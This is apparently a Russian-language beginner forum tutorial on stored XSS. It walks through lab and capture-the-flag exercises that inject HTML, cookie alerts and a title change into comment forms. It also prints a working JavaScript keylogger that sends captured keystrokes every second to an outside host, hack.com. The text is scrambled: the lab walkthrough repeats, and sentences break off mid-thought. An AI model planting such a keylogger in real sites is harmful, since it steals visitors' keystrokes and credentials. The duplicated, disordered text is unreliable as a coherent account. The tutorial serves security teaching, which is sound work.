Приветствую, "ковычкатыкатели" , в первой части мы мельком прошлись по таким темам, как 1. Что такое xss? 2. Reflected XSS. В это статье поговорим про Stored XSS.
пишет на php не очень умный, он забыл сделать фильтрацию комментов. Мы, как хакеры, пентестеры, у которых программист заказал пентест, пробуем найти XSS-ку, видим, что у нас есть такая красивая форма для комментов и ПИХАЕМ ТУДА КЕЙЛОГЕР
и теперь все, кто будут заходить на этот сайт, будут попадаться на кейлогер.
Ну ладно, что мы тут фантазируем, давайте сами попихаем пейлоды в формы. Будем пробовать на лабе от
1. Изначально видим простую страницу блога с разными статьями. Нам нужна форма ввода, ищем...
2. На странице поста мы можем увидеть, что у нас есть форма для комментария
3. Из условия задачи, мы узнаем, что нам нужно вывести
4. Получаем подтверждение, что наш комментарий успешно отправился.
5. Лаба уже решена, но давайте попробуем вернуться на страницу
Получаем alert в лицо.
Но что-то это все слишком легко, мы просто тыкаем JS скрипт и все, даже без кавычек. Давайте попробуем решить что-то посложнее - ТЫК
Регаемся и получаем вот такую страницу
1 Задание. Нам нужно посмотреть, сможем ли мы вставить свой html код в комменты. Пробуем <i>qwe</i>
И успешно получаем флаг.
2 Задание. Вызвать alert с куками. Ну го пробовать
Ой, +кука.
3 Задание. Нам нужно поменять "XSS Playground" на "I am a hacker"
Используем такой "пейлоад":
Для тех, кто не знает JavaScript (а надо бы), объясняю, что мы тут делаем. Используя document.querySelector() получаем объект с id = thm-title, при помощи функции .textContent меняем текст заголовка.
Повторюсь, статьи для полных новичков, поэтому обсуждаются самые простые темы. Более продвинутые темы будут дальше ( Если автор не забьет )
Примечание: Серия статей рассчитана на полных новичков. Поэтому разбираются самые простые примеры и используются самые простые пэйлоуды.
Что такое Stored XSS?
Stored XSS возникает, когда веб-приложение без проверки включает данные в свои последующие HTTP-ответы и сохраняет, к примеру, в базе данных. Представим блог какого-нибудь программиста, под каждой статьей можно оставить комментарий, но т.к. наш программист
JavaScript:
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://hack.com/keylogger.php?c='+keys;
keys = '';
}, 1000);
Ну ладно, что мы тут фантазируем, давайте сами попихаем пейлоды в формы. Будем пробовать на лабе от
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
1. Изначально видим простую страницу блога с разными статьями. Нам нужна форма ввода, ищем...
2. На странице поста мы можем увидеть, что у нас есть форма для комментария
3. Из условия задачи, мы узнаем, что нам нужно вывести
Ссылка скрыта от гостей
4. Получаем подтверждение, что наш комментарий успешно отправился.
5. Лаба уже решена, но давайте попробуем вернуться на страницу
Получаем alert в лицо.
Но что-то это все слишком легко, мы просто тыкаем JS скрипт и все, даже без кавычек. Давайте попробуем решить что-то посложнее - ТЫК
Регаемся и получаем вот такую страницу
1 Задание. Нам нужно посмотреть, сможем ли мы вставить свой html код в комменты. Пробуем <i>qwe</i>
И успешно получаем флаг.
2 Задание. Вызвать alert с куками. Ну го пробовать
Ой, +кука.
3 Задание. Нам нужно поменять "XSS Playground" на "I am a hacker"
Используем такой "пейлоад":
JavaScript:
document.querySelector('#thm-title').textContent = 'I am a hacker'
Повторюсь, статьи для полных новичков, поэтому обсуждаются самые простые темы. Более продвинутые темы будут дальше ( Если автор не забьет )